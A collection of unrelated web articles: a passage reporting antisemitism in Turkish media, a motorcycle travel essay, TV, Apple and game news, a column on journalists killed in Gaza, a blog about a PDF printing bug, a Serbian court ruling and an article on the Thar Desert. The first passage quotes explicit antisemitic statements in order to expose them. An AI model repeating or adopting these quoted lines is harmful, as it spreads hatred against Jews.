destroy every good thing, every strong foundation, and all liberating truths. … It is an instinct of the Jew to do evil to men and to humanity. … The Jew cannot live without evil and troublemaking.'”  MEMRI also cited the writings of Karuk Kose, whose work also appears in the Yeni Akit.  “There is no way to remedy the loss of lives [in the Gaza war], but until we arrive at the ‘great revenge time’ we must keep the pain alive in our hearts and rebuild Gaza with no delay, and remedy [the Gazans’] material losses.  “The damages total $8 billion. This is a big number for a little territory such as Gaza … and its reconstruction will take 20 years,” the commentary continued. “Naturally the money needed to rebuild Gaza will come from the world’s Muslims. … With Muslim aid, Gaza will be rebuilt – until the ‘herd of murderers’ attack once again and ruin it.  “So should we not build Gaza out of fear that it will be destroyed again, and should we allow tens of thousands of our Gazan brothers to live in the Stone Age? Of course not! However, it is time for ‘Palestine-loving Muslims’ and the ‘father of Gaza’ [i.e. Erdogan] to put an end to this vicious cycle. It is time to make the ‘culprits’ and the ‘culprits’ helpers’ pay for the damages. ”  The idea being promoted was a “Gaza Fund” tax for all Jews and non-Jewish companies doing business with Israel.  “Since it is they who destroyed, let them pay for reconstruction.”  Ali Ihsan Goker, who teaches at Bilecik University in Turkey, tweeted recently, “Treblinka will be ready soon; [we are] constructing the railway to transport Jews at the moment.”  And the report notes that Bulent Yildirim, the leader of a pro-terror organization called IHH, said it was “increasingly difficult to restrain” the young members of the group “from attacking Jews.”  An alarming rise in anti-Semitism in Turkey has been noted by the U.S. State Department’s special envoy for combating anti-Semitism, Ira Forman, the Jerusalem Post reported.  “We are concerned when civil society or political leaders call on the Jewish community to denounce Israel,” Forman said.  “And we are concerned when we hear that someone posted a sign reading ‘to be demolished’ on Istanbul’s Neve Shalom synagogue,” Forman said.  Turkey’s president, Erdogan, and his Islamic party have been in power for a decade in Turkey. Of late, he has dramatically reduced interaction with Israel, even though they were close strategic partners.  He’s also accused Israel of “murdering babies.”  Further, Haaretz.com reported over the summer that regarding Turkey, “the level of hate speech directed at Jews has hit dangerous levels.”  Commentator Louis Fishman said, “For over a decade, I have lived on-and-off in Turkey, watching Turkish society diversify along with the new freedoms it enjoyed during the first years of Erdogan’s tenure.  “However, over the years, peoples’ comments and the Islamist press reminded me of the latent anti-Semitism there.”  He said the recent eruption was “characterized by widespread praise for Hitler in the press and social media.”
-Ever get the urge to get on your bike and just ride and then ride some more and just keep going for endless miles? If you’re like me, you’ll end up so far away from home that you’re completely lost and strangers will look suspiciously at you and say: “You’re not from round here are you?”  Photo: Anne Watson  It actually took me a long time to throw caution to the wind and do this. I’d spent years finding every mundane excuse why I shouldn’t go and ride as far and as long as I possibly could until, one day, I couldn’t stand it anymore. I locked up the house, told family and friends I was going away, and I never looked back.  Over night, I changed my daily routine into getting up before the sun rose and pointing my motorcycle in whichever direction I happened to like the look of. And that’s how I ended up on a remote, empty desert highway, somewhere either in Nevada, Arizona or it may have even been Utah. I was filthy dirty. My bike was even dirtier. I was out of drinking water and also out of gas. And do you know what? It was one of the best experiences of my life.  For once, I was master of my own destiny, and was actually enjoying figuring out how I was going to find some gas in the middle of nowhere and get going again, while all the time a couple of optimistic vultures circled over my head.  Apart from my own stupidity of trusting my bike’s fuel gauge, the reason why I ended by the roadside in an empty desert was all because of a ridiculous 1970s film called Easy Rider. As a kid I had an enormous poster of a still shot from the film of Peter Fonda riding his bike with a huge, wide open desert sky behind him. I would spend ages gazing at that poster, promising myself that one day, when I was old enough, I too would get on a motorcycle and ride into small town America to discover what was really there.  It took me a long time to finally seize the moment and while it may seem like a crazy man’s dream and throwing logic and responsibility to the wind, I was a fortunate enough to find a publisher that was interested in taking my experiences and turning it all into a book that would, one day, be published.  There was one big drawback in all of this. I have an appalling sense of direction and, despite studying enormous maps of the U.S., most of the time I had absolutely no idea where I was, where I was going or what I would find. But the former was probably the best part of all. To travel on a bike not knowing what’s precisely around the next corner was and still is the motivation for me to ride.  I traveled really light with just one extra t-shirt, a small bag of tools, a toothbrush and a map that I would occasionally glance at. There were no rules except that I wanted to stay away from freeways and ride the empty roads that seem to run nowhere and pass through towns with curious and compelling names. I budgeted enough money for gas and food and to stay at the cheap motels I found along the way.  The riding was spectacular. Every single mile of it. I still remember a section in Nevada where I had a highway entirely to myself for almost two hours. I saw nobody, not a car, not a truck or a single living thing and just rode my motorcycle towards the distant horizon.  Some days I’d ride up to 400 miles, following two lane roads that snaked through mountains and dark forests and across flat empty plains that seemed to go on and on forever. I’d go from freezing, snow-covered hills to 100-degree heat in the deserts below. I got rained on and, once, was so cold that I had to get off my bike to try and warm my hands on my bike’s engine cylinders.  I saw things that I never imagined in a hundred lifetimes that I’d get to see. I met some pretty crazy people too. But you know what? I never met a single soul who wasn’t friendly or interested in what I was doing so far away from home on a motorcycle.  What I hadn’t anticipated when I set out on this odyssey was just how big America is. This country is immense. What looks like a simple couple of hours jaunt between two towns on a map often turned into a full day’s riding of more than 300 miles.  I know where I went for the most part of this long journey and the astonishing things I saw and did. But, there are some gaps in my memory as I was literally riding from dawn to dusk. Not that I am complaining. To ride a motorcycle all day on some of the greatest roads I have ever seen, with occasional breaks to fill the tank with gas and grab something to eat and drink, is something I’d happily do for the rest of my life.  In the space of six weeks I managed to traverse eight states and covered more than 8,000 miles. On occasion I took my time and slowed the pace down so I could see as much as I could in case I never came that way again.  More than anything else from this entire experience I learned how to ride a motorcycle. Before I set off I was probably a very average rider. But when you’re out on the road, thousands of miles from home, it’s down to your decision making whether you ride through a thunderstorm or opt for 50-plus miles along a dirt road. I also learned a whole lot along on the way and about my bike.  Sure there were times when I would have gladly got off my motorcycle and walked away. Baking in the desert heat on an air-cooled V-twin is no fun. Being cold, wet, tired and often completely lost played havoc with my mind.  But above all I kept reminding myself how lucky I was to be doing this on a motorcycle. Not only that, I was riding across one of the greatest nations on earth. I guess you could say by my getting on a motorcycle and riding for the love of it mile after mile, I got a true sense of what being free means.  What's the best place you've ever ended up?
-UPDATE: And the winner is...  Jennifer Baumgardner Esquire  For the past week, a field of dearly and prematurely departed television shows have faced off in an epic battle to become the series deemed most worthy of resurrection. (Yeah, we said epic. Come on: Every epic battle in history has been decided via online voting.) In the process, some very worthwhile dramas and comedies lost their dogged fights, occasionally in unexpected upsets. Party Down, Deadwood, Chappelle's Show, Freaks and Geeks: You all tried your best. We know you did. But now it's down to the finals, the championship game, the Thrilla in Cancelled Showville-a... or something.  In one corner, we have upstart seven-seed Pushing Daisies, the 2007-2009 ABC series created by premature cancellation icon Bryan Fuller and starring Lee Pace, which exploded with the colorful weirdness of a Twin Peaks, the open-heartedness of a Friday Night Lights, and all the supernaturally-tinged mystery-solving of... well, a lot of shows on TV that are/were never quite as inventive as Pushing Daisies. It's long been a niche favorite, but as more time passes, perhaps the attachment to Ned, Emerson Cod, and Olive Snook is only growing stronger. We can only assume so, since Pushing Daisies pushed its way to victory in round after round, knocking off two top seeds in Chappelle's Show and Freaks and Geeks. (Admittedly, we wildly underestimated its fandom.)  But before winning it all, the Pie Man will have to get past Firefly, an even shorter-lived drama but one created by Mr. Joss Whedon, and starring cult faves Nathan Fillion and Alan Tudyk, among others. Infused with Whedon's trademark, whip-smart dialogue, a Star Wars-esque sensibility, and more than one relationship that crackled with sexual tension, the 2002-2003 sci-fi Western has not only earned a reputation as one of the most unjustly terminated shows ever, it also inspired a movie follow-up, an untold number of crocheted Jayne hat knock-offs, and an ongoing, admirable fundraising effort for Equality Now dubbed Can't Stop the Serenity. The hardcore Firefly fans, aka Browncoats, have proven again and again that they, too, can't be stopped. So can the, um, Pie Holers (that seems like a good name for Pushing Daisies fanatics, right?) really stand in their way?  You have until 11:59 p.m. EST on Sunday, when voting ends in this final round of Esquire's TV Reboot Tournament, to decide.
-Apple’s mysterious North Carolina data center may not be where the company plans to store user’s data for its soon to be unveiled iCloud service. Instead, the company might be planning to release an updated version of its Time Capsule network storage appliance to handle iCloud data storage.  Time Capsule may handle iCloud data  An anonymous source that’s apparently familiar with Apple’s Time Capsule and iCloud plans told Cult of Mac that an upgraded Time Capsule will make user’s Home folder backups available through the iCloud service, but data will be stored on the device’s own hard drive. Currently, Time Capsule offers 1TB or 2TB of storage for Time Machine backups over a local network, along with a built-in Wi-Fi router just like an AirPort Extreme Base station.  The rumored Time Capsule update will work much like the Dropbox service does, letting users store files in a centralized location that automatically pushes changes in files out to all of the devices that share the same data — which in this case will include Macs, iPhones, iPads and the iPod touch.  It will also manage photo and video syncing between devices, although it won’t store app updates for iOS devices, according to the source.  There isn’t any word on when Apple will introduce the new Time Capsule model. The company could, however, use its World Wide Developers Conference keynote event scheduled for Monday morning to show off the device and its new file storage and synchronization features.  Until Apple officially announces the new Time Capsule with iCloud features, information abou the device should be treated as rumor.  Be sure to check in with The Mac Observer for our live WWDC 2011 keynote coverage on Monday. The event is scheduled to start at 10AM pacific time, and TMO will be providing steady updates on our Web site and our MacObserverLive Twitter feed.
-How the PS4 survival horror will use livestreams to heighten the tension  The meek shine of a cell phone light provides precious little comfort in the dark halls of an abandoned hospital. Its glow throws menacing shadows across every wall and beneath long-abandoned wheelchairs. Creaking steps and whispers flutter down the passage, and the promise of a scare is never far off. But Daylight, which launches on PS4 this April, offers a different take on the classic genre. And with the developers at Zombie Studios taking a keen interest in streaming tech, the horror of playing alone could actually be a shared experience.  Crafted by a small team at Zombie, Daylight follows the frightened footsteps of Sarah Gwynn as she works her way through a series of haunting environs. While many horror games rely on finely tuned scares specific to the moment, Daylight uses procedurally generated play to keep every moment fresh. Levels and scares change for each player, meaning that no two sessions will be identical. And no player will know exactly when that foreboding whisper will turn into a howling spectre hungry for Sarah’s life.  In Daylight, players have no weapons – only flares to fend off the supernatural powers at work in the hospital. Sarah’s only hope is escape. Not fighting for her life, but running for it. And Daylight involves a lot of breathless running, as players guide Sarah through the labyrinthine corridors and thick forests in hope of finding a way home. Collecting items (often in the form of creepy notes) will progress the story forward, and inch players one step closer to the end.  But the team at Zombie has other plans for Daylight. Streaming has been a huge boon to the PS4 community, and the devs want Daylight to have an involved relationship with livestreams. The hope is to allow viewers to control the actual scares in a streamer’s experience, providing a much more interactive dynamic between player and audience. This new form of communal play has been showered with attention recently thanks to the Twitch community streaming a classic RPG as a group.  With harrowing sound effects, random scares, and even 3D support (offering an incredible degree of depth), Daylight is already damn scary. And there’s nothing more horrifying than giving the internet the ability to frighten you, too.
-More from Andrew Mitrovica available More fromavailable here  Like most teenagers, journalists believe they are invincible.  This is, of course, a dangerous delusion. To date, perhaps as many as nine journalists have been killed while telling the world the ugly truth about what is happening to the children, women and men enduring the daily, relentless shelling in Gaza.  Rami Rayan, a young Palestinian photojournalist, was the latest reporter to be killed. He was among at least 16 people reportedly killed after an Israeli air strike on a crowded market Wednesday during a supposed four-hour “truce.”  Like many of the pictures coming out of Gaza these days, photos of the 23-year-old photographer’s body on a stretcher are graphic and disturbing. What they make clear, however, is at the time of his death, Rayan was wearing a helmet and vest clearly marked “PRESS.” His camera – the tool of his profession – appears to have gone astray.  I have written a lot lately about the failure of Canada’s major political leaders to condemn the killing of civilians — so many of them children — in Gaza. Well, many Canadian journalists and the organizations that purport to represent them have been slow, or have failed, to utter a word of condemnation of the killing of journalists in Gaza.  The Canadian Association of Journalists (CAJ), which claims to be “the national voice of Canadian journalists”, has been noticeably silent. If you check the CAJ’s website you won’t find so much as a perfunctory statement denouncing the killing of their colleagues in Gaza. Instead, the top item on its website is a story written by members of the association’s ‘ethics’ committee about that old saw: reporters getting too close to their sources.  The story, the CAJ says, was penned with the help of its “friends” at the Canadian Journalism Project, more popularly known as J Source.  J Source’s goal is to “promote national discussion about journalism as well as providing a source for news, research, commentary … for industry professionals, scholars and students.”  There isn’t a word of news or commentary about the killing of journalists in Gaza on J Source’s website. The big news at J Source.ca is the appointment of the Toronto Star’s new tablet editor. As for commentary, J Source has posted an old piece by the Star’s public editor about whether a local politician is “playing politics with the truth.”  PEN Canada hasn’t devoted so much as a syllable to the killing of journalists in Gaza. And it took until July 31 for the Canadian Journalists for Free Expression (CJFE) to stir from its apparent somnolence to send a letter to Israel’s ambassador.  PEN Canada hasn’t sounded the alarm either. Its raison d’être “envisions a world where writers are free to write, readers are free to read and freedom of expression prevails.” It’s also important to note that PEN Canada’s advisory board includes prominent journalists Naomi Klein and Charles Foran.  Still, just like the CAJ and J Source, PEN Canada hasn’t devoted so much as a syllable to the killing of journalists in Gaza. Perhaps Pen Canada’s aversion to speaking out on Gaza is connected to the odd decision by Revenue Canada to take a close look at its books. The Harper government’s push to audit charities’ political outreach may be having the intended chilling effect.  And it took until July 31 for the Canadian Journalists for Free Expression (CJFE) to stir from its apparent somnolence to send this letter to Israel’s ambassador to Canada denouncing the killing of journalists in Gaza.  In his sharp letter to Ambassador Rafael Barak, CJFE president Arnold Amber writes that the “CJFE condemns the killing of journalists and media workers by Israeli security forces in Gaza … (and urges) that Israel avoid targeting known media outlet locations. CJFE also calls on the Israeli government to respect its responsibilities and obligations under international law with regards to the protection of journalists.”  Amber also makes pointed reference to the recent attack on Al Jazeera’s offices in Gaza. “Israel Defense Forces (IDF) fired at Al Jazeera offices in Gaza, forcing media workers within to flee the complex. This attack came soon after the pejorative remarks made by Israeli Foreign Minister Avigdor Lieberman demonizing the media network.”  The assault on Al Jazeera was an attack on all journalists, but until yesterday it didn’t trigger much, if any, reaction among Canadian journalists and news organizations.  Indeed, to my knowledge the editorial boards of Canada’s major newspapers have been rather quiet about both the bombardment of the Al Jazeera office and the journalists who died doing their jobs in Gaza.  It’s a far cry from recent expressions by Canadian and international media of solidarity with three other Al Jazeera journalists — including Egyptian-Canadian Mohamed Fahmy — who were jailed in Egypt for allegedly aiding the Muslim Brotherhood in their reporting.  The long sentences handed down against the three journalists prompted Toronto Star and CBC journalists, among many others, to duct-tape their mouths while holding a piece of white paper with the hashtag #freeAJstaff in silent protest. It was a laudable display of support for their imprisoned brethren.  The least Canadian journalists could do is to reach for the duct tape again to show their respect and admiration for their fellow journalists in Gaza who are being killed on the job.  Andrew Mitrovica is a writer and journalism instructor. For much of his career, Andrew was an investigative reporter for a variety of news organizations and publications including the CBC’s fifth estate, CTV’s W5, CTV National News — where he was the network’s chief investigative producer — the Walrus magazine and the Globe and Mail, where he was a member of the newspaper’s investigative unit. During the course of his 23-year career, Andrew has won numerous national and international awards for his investigative work.  The views, opinions and positions expressed by all iPolitics columnists and contributors are the author’s alone. They do not inherently or expressly reflect the views, opinions and/or positions of iPolitics.
-I am teaching a technical course on the popular and ubiquitous version control system, Subversion, this Monday. I thought it might be fun to give my class a little “extra credit” reading from the O’Reilly book, Beautiful Code. In it, one of the original authors of Subversion, Karl Fogel, shares what he considers to be the most beautiful internal design within the codebase: the SVN delta editor. Though this API is not directly used in doing Subversion development, I thought it might be cool for students to have a deeper understanding of the thought that went into SVN’s codebase. But when trying to print up some copies of the chapter for the class, I got more than I bargained for…  I highly recommend the entire book. It is not so much a book about beautiful code as about passionate and opinionated programmers and their tastes. But this is a good thing. It was one of the few books about software that I have read in the last decade or so that actually gave me entirely positive feelings about my profession. There is so much raw creativity and thought captured in these few essays. What Brian Kernighan finds beautiful is entirely different from what Matz or simonpj find beautiful. And that’s the thing about a fundamentally creative craft like software. You put five software engineers in a room with a piece of code, and you’re lucky if you come out with only six different opinions about it. It’s like art, or writing. Taste matters.  I don’t recommend people read Beautiful Code to try to imitate some of the code described therein. Instead, I recommend you read it as a sociological or psychological study of what makes proud and bright software engineers tick. For example, for Kernighan it is the simplicity and minimalism that is embodied in UNIX. For Matz, it is the notion that the programming language should be as syntactically flexible as our real languages are. For simonpj, it’s that complicated can be made easy, given the right abstractions. And for Jon Bentley, in one of the more thought-provoking essays in the book, beauty and elegance was only perceived as the size of his code shrank.  The essay about the SVN Delta Editor not only illuminates the internals of SVN, but also illustrates the social dimension to software engineering and design. It is a story about programmers, debating an API, producing it, and then putting it into practice. It is about give and take, and an unteachable skill in problem size and complexity reduction. All this in C! There was a period of time in university where I actually programmed in C full-time, so I have a lot of respect for the elegance with which they crafted this powerful API. C gives you few tools (like OO or explicit interfaces) for doing this kind of work; they had to work in spite of the language’s features and plan carefully.  I have about twenty students in my class, so I was going to print up one copy and get it copied and stapled at a local print shop. (See note on copyright below.) I opened up my ebook PDF of Beautiful Code with acroread on UNIX. I navigated to the right chapter and realized that I wanted to print just that single chapter. I always remember being annoyed whenever I had to do this, for a number of reasons.  PDF ebooks sometimes lack the proper “bookmark” information to navigate to the right section to print Since ebooks were once print copies, they tend to have page numbers at the bottom of each page. But since the ebook itself has a different page numbering scheme, all sorts of psychic dissonance occurs. You navigate to page 30 (in the print copy) but have to note that it’s actually page 42 in the ebook. You then navigate to page 45 (in the print copy) but have to note that it’s actually 57 in the ebook. OK, now I know what I need to print… I think. So now I have to enter one of those print ranges in the “Print” dialog. Is it 30-42? No, wait, it’s 42-45… I mean, 42-57 — that’s it! Is that inclusive or exclusive? 🙂 Oh, my…  It’s really not that bad, and it’s only an occasional annoyance, but it’s always there. I’m sure you know what I’m talking about.  I had recently upgraded to acroread and noticed that the UI was all spiffed up. And I noticed that this ebook had the right metadata for the bookmarks. I thought to myself, “Wouldn’t it be nice if acroread supported printing a chapter?” I right-clicked on the first entry in the chapter bookmark and was astonished. Lo and behold, my feature existed! (See the image to the right.) I clicked the “Print Pages…” button with a bit of discomfort. I don’t trust software too often, and am always suspicious when I find a feature I didn’t expect to be there. It’s like my inner programmer is saying, “Yea, right — too good to be true.”  A few minutes later, my chapter was printed. I looked it over, and brought it with my other materials to the local print shop. One hour later, I picked up my copies and brought them home to look them over.  I noticed something very strange. Instead of my copies containing pages 42-57, they contained pages 42, 43, 46, 51, 55, and 57. Damn it. There didn’t seem to be much of a rhyme or reason to the pages that were selected. What kind of sequence was this? I felt that there must be some pattern, some fibonacci-like, non-obvious sequence that applied to these pages. I suspected the first, and obvious, culprit: that the printer had made a mistake. Maybe it’s a human error. But then I looked over my original and indeed, the original only had those pages. Not a human error. I thought to myself, “How is this possible?”  Of course, I’ve probably given you enough information that you’ve already figured it out. Especially if you’re a programmer. We’re just wired to think this way. But in case you haven’t figured it out, I’ll indulge you.  When I went back into acroread, tracing back my steps, I noticed something about that menu item I clicked. It didn’t say Print chapter. Instead, it said, Print pages. Now, conceptually that seems like a small distinction, but I picked up on it.  I started to think like a programmer, rather than a user. This function with a for loop emerged from the program and hovered above it, almost magically. It said:  def print_pages ( self , selected ) : to_print = [ ] for bookmark in selected. self_and_bookmarked_children ( ) : to_print. append ( bookmark. page ( ) ) PrintSubsystem. queue_job ( to_print ) def print_pages(self, selected): to_print = [] for bookmark in selected.self_and_bookmarked_children(): to_print.append(bookmark.page()) PrintSubsystem.queue_job(to_print)  Then I realized the pattern in the pages it picked. There was no pattern. This was a beautiful little bug. A butterfly.  You see, within the narrow world of this Print Pages function, the “feature” works as expected. But from a user’s perspective, it makes absolutely no sense. Rather than printing everything from that bookmark to the next bookmark at the same level (that is, rather than printing a chapter), it printed each individual page that happened to be physically bookmarked (or ‘sub-bookmarked’) in the PDF, at or below that level. This resulted in a bunch of pages being printed that happened to be the pages on which subsections began. But this left out most of the chapter, somewhat randomly.  The worst traits of our profession come out when it is at its least social. I have no doubt that this function that prints these pages was written by a single programmer in a windowless room, without any peer review, pair programming, or other check on his logic. I am sure that he was given the narrow and ill-defined requirement to enable an action to “print bookmark pages”. He needed to think, but instead, he decided to code. And coding got “it” done, for some very weird value of “it”. He was probably under time pressure. But one thing is certain to me: he was alone. No two programmers, debating the design and implementation of this feature, would let each other make this mistake.  The behavior it exhibited truly caught me by surprise. Strange as it sounds, I admired how easily I had been duped by this feature. The human error — the anti-social error — made by that programmer exhibited an odd and enigmatic computer behavior. A human inelegance created a strange sort of cruel machine elegance.  I found it ironic that in trying to print a chapter about beautiful design from a book called Beautiful Code, I came across this beautiful bug. I call the bug beautiful because it managed to fool me, to get me to suffer its wrath while thinking I was getting some convenience. It exhibited behavior that challenged me to identify a pattern, where there was none. It was so clever, it even cost me money (the printing charges). And even though I was a discerning programmer — skeptical of the feature, and so unsure of the software’s operation that I checked the output, albeit too briefly — this little bug managed to outsmart me.  My students will have to live without the chapter, or read it online on their own. I’m not upset about it. There can be beauty, even in failure.
-Izvor: N1  Dragan J. Vučićević, glavni i odgovorni urednik Informera i njegova privatna kompanija koja je izdavač lista, obavezani su da Veranu Matiću, glavnom i odgovornom uredniku informativnog programa B92 plate naknadu štete u iznosu od 250 hiljada dinara sa kamatama od početka februara ove godine i troškove postupka u visini od 88 hiljada i šesto dinara.  Prvostepenom presudom Viši sud je Vučićevića obavezao i da presudu o svom trošku objavi najkasnije u drugom narednom broju Informera, kao i u elektronskom izdanju lista na internetu.  Tužba je podneta zbog serije tekstova o Veranu Matiću, objavljivanih u Informeru u periodu od avgusta 2014, do kraja januara 2015. godine, a tokom postupka raspravljalo se i o tekstovima objavljivanim u istom listu i nakon podnošenja tužbe.  Sud je utvrdio da su Vučićević i Informer prenosili neistinite informacije, što je, kako se navodi, obzirom na kontekst i odsustvo dobre namere, dovelo do ugrožavanja kredibiliteta Matića kao javne ličnosti i dugogodišnjeg novinara i urednika.  "U odnosu na deo tekstova kojima se implicira da je Matić navodno "ispod žita" pokušao da obezbedi za sebe u to vreme upražnjenu funkciju generalnog direktora RTS-a, sud je posebno ukazao da Vučićević i Informer za svoje navode, niti u tekstovima, niti kasnije tokom postupka, nisu predložili svedoke niti makar naveli na koji način, pred kim, ili u kojoj prilici je Matić, navodno, lobirao za ovu funkciju. Neistinite informacije su uporno prenosili i pored više puta ponovljenih Matićevih tvrdnji da neće da se kandiduje, da nije zainteresovan za tu funkciju i da čak i ne ispunjava zakonom propisane uslove za nju", navodi Veran Matić u saopštenju.  "Sud je našao da su novinari, pa i Dragan J. Vučićević, slobodni da iznose svoje stavove i mišljenja, ali da su kad objavljuju informacije o konkretnim pojavama, ličnostima ili događajima, obavezni da te informacije provere sa dužnom novinarskom pažnjom. Ono što je u ovoj presudi posebno značajno, to je odgovor koji ona daje na pitanje šta sud smatra dužnom novinarskom pažnjom. Ta pažnja je, kaže sud, poštovanje profesionalnih standarda novinarske struke; ta pažnja je poštovanje Kodeksa novinara Srbije. A Vučićević, u ovom slučaju, kako je našao sud, Kodeks i standarde nije poštovao", kaže advokat Kruna Savović, koja je zastupala Verana Matića.  Veran Matić navodi da je sudija veoma precizno utvrdila kako funkcioniše proces lansiranja lažne informacije, dezinformacije o nekome koga treba da diskredituju, lažno optuže, a onda se ta lažna vest ojačava dnevnim "analitičarima", dok se čestim ponavljanjem stvara nova realnost.
-large, arid region in the northwestern part of the Indian subcontinent  The Thar Desert, also known as the Great Indian Desert, is a large arid region in the northwestern part of the Indian subcontinent that covers an area of 200,000 km2 (77,000 sq mi) and forms a natural boundary between India and Pakistan. It is the world's 17th largest desert, and the world's 9th largest subtropical desert.  About 85% of the Thar Desert is located within India, with the remaining 15% in Pakistan.[1] In India, it covers about 170,000 km2 (66,000 sq mi), and the remaining 30,000 km2 (12,000 sq mi) of the desert is within Pakistan. The Thar desert forms approximately 5%(~4.56%) of the total geographic area of India. More than 60% of the desert lies in the state of Rajasthan, and extends into Gujarat, Punjab, and Haryana.[2] The desert comprises a very dry part, the Marusthali region in the west, and a semidesert region in the east with fewer sand dunes and slightly more precipitation.[3]  Geography [ edit ]  View of the Thar desert  The Thar Desert extends between the Aravalli Hills in the north-east,[1] the Great Rann of Kutch along the coast and the alluvial plains of the Indus River in the west and north-west. Most of the desert is covered by huge shifting sand dunes that receive sediments from the alluvial plains and the coast. The sand is highly mobile due to strong winds occurring before the onset of the monsoon. The Luni River is the only river integrated into the desert.[4] Rainfall is limited to 100–500 mm (3.9–19.7 in) per year, mostly falling from July to September.[1]  Salt water lakes within the Thar Desert include the Sambhar, Kuchaman, Didwana, Pachpadra and Phalodi in Rajasthan and Kharaghoda in Gujarat. These lakes receive and collect rain water during monsoon and evaporate during the dry season. The salt is derived by the weathering of rocks in the region.[5]  Lithic tools belonging to the prehistoric Aterian culture of the Maghreb have been discovered in Middle Paleolithic deposits in the Thar Desert.[6]  Desertification control [ edit ]  Acacia tortilis near Checking of shifting sand dunes through plantations ofnear Laxmangarh town  The soil of the Thar Desert remains dry for much of the year and is prone to wind erosion. High velocity winds blow soil from the desert, depositing some on neighboring fertile lands, and causing shifting sand dunes within the desert. Sand dunes are stabilised by erecting micro-windbreak barriers with scrub material and subsequent afforestation of the treated dunes with seedlings of shrubs such as phog, senna, castor oil plant and trees such as gum acacia, Prosopis juliflora and lebbek tree. The 649 km (403 mi) long Indira Gandhi Canal brings fresh water to the Thar Desert.[1] It was conceived to halt spreading of the desert to fertile areas.  There are few local tree species suitable for planting in the desert, which are slow growing. Therefore, exotic tree species were introduced for plantation. Many species of Eucalyptus, Acacia, Cassia and other genera from Israel, Australia, US, Russia, Zimbabwe, Chile, Peru and Sudan have been tried in Thar Desert. Acacia tortilis has proved to be the most promising species for desert afforestation and the jojoba is another promising species of economic value found suitable for planting in these areas.[1]  Protected areas [ edit ]  There are several protected areas in the Thar Desert.  Biodiversity [ edit ]  Blackbuck male and female  Chinkara or 'Indian Gazelle' is found across Thar desert  Fauna [ edit ]  Stretches of sand in the desert are interspersed by hillocks and sandy and gravel plains. Due to the diversified habitat and ecosystem, the vegetation, human culture and animal life in this arid region is very rich in contrast to the other deserts of the world. About 23 species of lizard and 25 species of snakes are found here and several of them are endemic to the region.  Some wildlife species, which are fast vanishing in other parts of India, are found in the desert in large numbers such as the blackbuck (Antilope cervicapra), chinkara (Gazella bennettii) and Indian wild ass (Equus hemionus khur) in the Rann of Kutch. They have evolved excellent survival strategies, their size is smaller than other similar animals living in different conditions, and they are mainly nocturnal. There are certain other factors responsible for the survival of these animals in the desert. Due to the lack of water in this region, transformation of the grasslands into cropland has been very slow. The protection provided to them by a local community, the Bishnois, is also a factor. Other mammals of the Thar Desert include a subspecies of red fox (Vulpes vulpes pusilla) and the caracal.  The region is a haven for 141 species of migratory and resident birds of the desert. One can see eagles, harriers, falcons, buzzards, kestrel and vultures. There are short-toed eagles (Circaetus gallicus), tawny eagles (Aquila rapax), greater spotted eagles (Aquila clanga), laggar falcons (Falco jugger) and kestrels. There are also a number of reptiles.  The Indian peafowl is a resident breeder in the Thar region. The peacock is designated as the national bird of India and the provincial bird of the Punjab (Pakistan). It can be seen sitting on khejri or pipal trees in villages or Deblina.Bishnois Dharmaguru Jambeshwar was an ecologist.  Flora [ edit ]  The natural vegetation of this dry area is classed as Northwestern thorn scrub forest occurring in small clumps scattered more or less openly.[11][12] Density and size of patches increase from west to east following the increase in rainfall. The natural vegetation of the Thar Desert is composed of the following tree, shrub and herb species:[13]  The endemic floral species include Calligonum polygonoides, Prosopis cineraria, Acacia nilotica, Tamarix aphylla, Cenchrus biflorus.[14]  People [ edit ]  Huts in the Thar desert  A girl from the Gadia Lohars nomadic tribe of Marwar , cooking her food  The Thar Desert is the most widely populated desert in the world, with a population density of 83 people per km2.[8] In India, the inhabitants comprise Hindus, Muslims, and Sikhs. In Pakistan, inhabitants also include both Muslims and Hindus.[15]  About 40% of the total population of Rajasthan live in the Thar Desert.[16] The main occupation of the people is agriculture and animal husbandry. A colourful culture rich in tradition prevails in this desert. The people have a great passion for folk music and folk poetry.  Jodhpur, the largest city in the region, lies in the scrub forest zone. Bikaner and Jaisalmer are located in the desert proper. A large irrigation and power project has reclaimed areas of the northern and western desert for agriculture. The small population is mostly pastoral, and hide and wool industries are prominent.  The desert's part in Pakistan also has a rich multifaceted culture, heritage, traditions, folk tales, dances and music due to its inhabitants who belong to different religions, sects and castes.  In the years 1965 and 1971, population exchanges took place in the Thar between India and Pakistan. 3,500 Muslim families shifted from the Indian section of the Thar to Pakistani Thar whilst thousands of Hindus also migrated from Pakistani Thar to the Indian section of the Thar.[17][18][19]  Thar in ancient literature [ edit ]  Course of Sarasvati river through Thar desert  The Sarasvati River is one of the chief Rigvedic rivers mentioned in ancient Hindu texts. The Nadistuti hymn in the Rigveda mentions the Sarasvati between the Yamuna in the east and the Sutlej in the west, and later Vedic texts like Tandya and Jaiminiya Brahmanas as well as the Mahabharata mention that the Sarasvati dried up in a desert.  Most scholars agree that at least some of the references to the Sarasvati in the Rigveda refer to the Ghaggar-Hakra River.  There is also a small present-day Sarasvati River (Sarsuti) that joins the Ghaggar.  The epic Mahabharata mentions the Kamyaka Forest situated on the western boundary of the Kuru Kingdom (Kuru Proper and Kurujangala), on the banks of the Sarasvati River to the west of the Kurukshetra plain, which contained a lake known as Kamyaka. The Kamyaka forest is mentioned as being situated at the head of the Thar desert,[16] near Lake Trinavindu. The Pandavas, on their way to exile in the woods, left Pramanakoti on the banks of the Ganges and went towards Kurukshetra, travelling in a western direction and crossing the Yamuna and Drishadvati rivers. They finally reached the banks of the Sarasvati River where they saw the forest of Kamyaka, the favourite haunt of ascetics, situated on a level and wild plain on the banks of the Sarasvati abounding in birds and deer. There the Pandavas lived in an ascetic asylum. It took three days for Pandavas to reach the Kamyaka forest, setting out from Hastinapura, on their chariots.  In the Rigveda there is also mention of a river named Aśvanvatī along with the river Drishadvati.[20] Some scholars consider both the Sarasvati and Aśvanvatī to be the same river.[16]  Human habitations on the banks of Sarasvati and Drishadvati had shifted to the east and south directions prior to the Mahabharata period. At that time the present day Bikaner and Jodhpur areas were known as Kurujangala and Madrajangala provinces.[16]  The Desert National Park in Jaisalmer district has a collection of animal fossils and plants 180 million years old.  Desert eco-system [ edit ]  Pakistan. Due to severe weather conditions, there are few highways in the Thar desert. Shown here is a road in Tharparkar District of Sindh  Agriculture [ edit ]  The Thar is one of the most heavily populated desert areas in the world with the main occupations of its inhabitants agriculture and animal husbandry. Agriculture is not a dependable proposition in this area because after the rainy season, at least one third of crops fail. Animal husbandry, trees and grasses, intercropped with vegetables or fruit trees, is the most viable model for arid, drought-prone regions. The region faces frequent droughts. Overgrazing due to high 